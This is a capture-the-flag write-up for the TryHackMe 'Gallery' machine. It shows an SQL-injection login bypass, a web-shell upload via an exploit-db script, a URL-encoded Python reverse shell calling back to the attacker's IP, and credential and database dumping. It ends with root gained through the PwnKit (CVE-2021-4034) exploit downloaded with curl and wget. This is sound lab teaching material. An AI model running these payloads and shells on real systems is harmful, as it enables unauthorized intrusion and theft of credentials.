# TryHackMe : Gallery WriteUp This is my writeup for the [Gallery](https://tryhackme.com/room/gallery) room/machine of [TryHackMe.com platform](https://tryhackme.com). Remember this is just how I solved/owned the machine, maybe there are different and fast paths but... ## Machine *Our gallery is not very well secured.* The machine is rated as an easy machine and if you're looking for a simple machine to practice/learn...do it. If you're confortable with THM medium/hard rooms it will be a good exercise! The techiques used in this machine over a small enumeration: * [Simple Image Gallery 1.0 Exploit](https://www.exploit-db.com/exploits/50214) * Basic read of the [linpeas](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS]) output * CVE-2021-4034 with [ly4k exploit](https://github.com/ly4k/PwnKit) ## Recon Point 0: add the IP into the /etc/hosts as gallery.thm First of all I run a classic nmap scan: ```bash nmap -sC -sV -p- gallery.thm Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-12 11:29 GMT Nmap scan report for 10.10.92.236 Host is up (0.032s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 8080/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Simple Image Gallery System ``` I'm looking at a Linux machine with two open ports: 80 and 8080. When I browse the page 80 I reach just the default apache/ubuntu default home page, I run a gobuster in order to find some directories: ```bash gobuster dir -u http://gallery.thm -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.92.236 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/02/12 11:30:55 Starting gobuster in directory enumeration mode =============================================================== /gallery (Status: 301) [Size: 314] [--> http://10.10.92.236/gallery/] /server-status (Status: 403) [Size: 277] =============================================================== 2022/02/12 11:32:19 Finished =============================================================== ``` There is only one directory useful, the /gallery one. Before moving on further exploration I check the port 8080, the proxy redirect the gallery directory on port 8080. The login page is the http://gallery.thm/gallery/login.php ![Gallery](../images/thm-gallery/01.png "login.php") ## Foothold Before bruteforcing, trying something else etc etc I checked on the exploit-db if this application have an exploit or some PoC and...[there is!](https://www.exploit-db.com/exploits/50214) The exploit is pretty clear and is described as "Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)", looking at the code at the login part there is something interesting: ```python print("Login Bypass") request_url = url + "/classes/Login.php?f=login" post_data = {"username": "admin' or '1'='1'#", "password": ""} ``` I simply tried it before running the exploit, a simple login with user *admin' or '1'='1'#* without password ![Login Bypass](../images/thm-gallery/02.png "Login bypass") and it works. Let's run the full exploit: ```bash searchsploit -m 50214 python3 50214.py TARGET = http://gallery.thm/gallery Login Bypass shell name TagovazehvslayeqmwpLetta protecting user User ID : 1 Firsname : Adminstrator Lasname : Admin Username : admin shell uploading - OK - Shell URL : http://gallery.thm/gallery/uploads/1644666120_TagovazehvslayeqmwpLetta.php?cmd=whoami ``` I can finally check if it the payload was uploaded ```bash curl -L -i http://10.10.92.236/gallery/uploads/1644666120_TagovazehvslayeqmwpLetta.php?cmd=whoami HTTP/1.1 200 OK Date: Sat, 12 Feb 2022 11:43:50 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 20 Content-Type: text/html; charset=UTF-8
www-data``` and it was. I move to the next step, I run a netcat listener on my local machine port 4444 and instead of the whoami command I run a shell (python). From my browser I run this request: ```code http://10.10.92.236/gallery/uploads/1644666120_TagovazehvslayeqmwpLetta.php?cmd=/usr/bin/python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.11.55.171%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 ``` I know, this is not the most elegant version but it's working ```bash nc -nvlp 4444 listening on [any] 4444 ... connect to [10.11.55.171] from (UNKNOWN) [10.10.92.236] 43820 /bin/sh: 0: can't access tty; job control turned off $ ls -ltra total 48 -rwxr-xr-x 1 www-data www-data 23318 Sep 11 2020 no-image-available.png -rwxr-xr-x 1 www-data www-data 4450 Aug 9 2021 gallery.png drwxr-xr-x 6 www-data www-data 4096 Aug 9 2021 user_1 drwxr-xr-x 16 www-data www-data 4096 Aug 25 10:22 .. -rw-r--r-- 1 www-data www-data 106 Feb 12 11:42 1644666120_TagovazehvslayeqmwpLetta.php drwxr-xr-x 3 www-data www-data 4096 Feb 12 11:42 . ``` Login as www-data done. Let's check the files of the application, there is an hash to retrieve! The file initialize.php is the one I need: ```bash www-data@gallery:/var/www/html/gallery$ cat initialize.php '-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>''); if(!defined('base_url')) define('base_url',"http://" . $_SERVER['SERVER_ADDR'] . "/gallery/"); if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' ); if(!defined('dev_data')) define('dev_data',$dev_data); if(!defined('DB_SERVER')) define('DB_SERVER',"localhost"); if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user"); if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"[REDACTED]"); if(!defined('DB_NAME')) define('DB_NAME',"gallery_db"); ?> ``` There is the user/pass/DB of the application, I login to mysql and check it: ```bash mysql -u gallery_user -p[REDACTED] Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 44 Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> use gallery_db use gallery_db Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [gallery_db]> show tables; show tables; +----------------------+ | Tables_in_gallery_db | +----------------------+ | album_list | | images | | system_info | | users | +----------------------+ 4 rows in set (0.00 sec) ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'users' at line 1 MariaDB [gallery_db]> select * from users; select * from users; +----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+ | id | firstname | lastname | username | password | avatar | last_login | type | date_added | date_updated | +----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+ | 1 | Adminstrator | Admin | admin | redacted-hash- | uploads/1644667020_TagogndeuidsyonnpjoLetta.php | NULL | 1 | 2021-01-20 14:02:37 | 2022-02-12 11:57:29 | +----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+ 1 row in set (0.00 sec) ``` And I found the hash of the user admin. ## PE to mike There is a user with the flag, the user mike. I was lazy, really lazy and I used linpeas.sh for checking the possible and visible misconfigurations. What linpeas found was really interesting: ```bash .... ╔══════════╣ Sudo version ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version Sudo version 1.8.21p2 Vulnerable to CVE-2021-4034 ╔══════════╣ Searching passwords in history files @stats = stats @items = { _seq_: 1 } @threads = { _seq_: "A" } sudo -lb3[REDACTED]x sudo -l ``` It seems mike wrongly wrote a *sudo -l* command and he wrote the password on the same line. And it was saved on the bash_history file. It seems weird..but try it :) ```bash www-data@gallery:/home/mike$ su - mike Password: 3[REDACTED]x mike@gallery:~$ id id uid=1001(mike) gid=1001(mike) groups=1001(mike) mike@gallery:~$ cd /home/mike cd /home/mike mike@gallery:~$ cat user.txt cat user.txt THM{redacted} ```` To better understand where/what linpeas is checking just read the code of the script. The requested files are into /var/backups ```bash mike@gallery:~$ cd /var/backups cd /var/backups mike@gallery:/var/backups$ ls -ltra ls -ltra total 56 -rw-r--r-- 1 root root 3575 May 20 2021 apt.extended_states.2.gz drwxr-xr-x 13 root root 4096 May 20 2021 .. -rw-r--r-- 1 root root 3516 May 21 2021 apt.extended_states.1.gz drwxr-xr-x 5 root root 4096 May 24 2021 mike_home_backup -rw-r--r-- 1 root root 34388 Aug 25 10:35 apt.extended_states.0 drwxr-xr-x 3 root root 4096 Feb 12 13:25 . mike@gallery:/var/backups$ cd mike_home_backup cd mike_home_backup mike@gallery:/var/backups/mike_home_backup$ ls -ltra ls -ltra total 36 -rwxr-xr-x 1 root root 807 May 24 2021 .profile drwxr-xr-x 2 root root 4096 May 24 2021 images drwxr-xr-x 3 root root 4096 May 24 2021 .gnupg drwxr-xr-x 2 root root 4096 May 24 2021 documents -rwxr-xr-x 1 root root 3772 May 24 2021 .bashrc -rwxr-xr-x 1 root root 220 May 24 2021 .bash_logout -rwxr-xr-x 1 root root 135 May 24 2021 .bash_history drwxr-xr-x 5 root root 4096 May 24 2021 . drwxr-xr-x 3 root root 4096 Feb 12 13:25 .. ``` ## PE to root According to linpeas there is another vulnerability in the system: CVE-2021-4034 - pwnkit. I think this is the unintended way to obtain the root and I'll write both the ways. ### PwnKit First of all I check the pkexec file ```bash mike@gallery:~$ ls -ltra /usr/bin/pkexec ls -ltra /usr/bin/pkexec -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec ``` Ok, it's vulnerable. Let's download the binary in my local machine and serve it via http: ```bash curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit ``` and run it into the gallery machine: ```bash mike@gallery:~$ wget 10.11.55.171/PwnKit mike@gallery:~$ chmod +x PwnKit chmod +x PwnKit mike@gallery:~$ ./PwnKit ./PwnKit root@gallery:/home/mike# cd /root cd /root root@gallery:~# cat root.txt cat root.txt THM{REDACTED} ``` ### Sudo + nano The creator way to obtain the root is abusing the sudo privilege of a script/nano: ```bash mike@gallery:~$ sudo -l Matching Defaults entries for mike on gallery: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User mike may run the following commands on gallery: (root) NOPASSWD: /bin/bash /opt/rootkit.sh mike@gallery:~$ cat /opt/rootkit.sh cat /opt/rootkit.sh #!/bin/bash read -e -p "Would you like to versioncheck, update, list or read the report ? " ans; # Execute your choice case $ans in versioncheck) /usr/bin/rkhunter --versioncheck ;; update) /usr/bin/rkhunter --update;; list) /usr/bin/rkhunter --list;; read) /bin/nano /root/report.txt;; *) exit;; esac mike@gallery:~$ export TERM=linux mike@gallery:~$ sudo /bin/bash /opt/rootkit.sh Would you like to versioncheck, update, list or read the report ? read read ``` Using the read function in a fully interactive shell you can abuse the sudo privilege of nano. I didn't tried this solution because I had several issue with the interactive shell (I must fix it...yes) but it is explained on the official [creator page writeup](https://mikadmin.fr/blog/tryhackme-gallery/).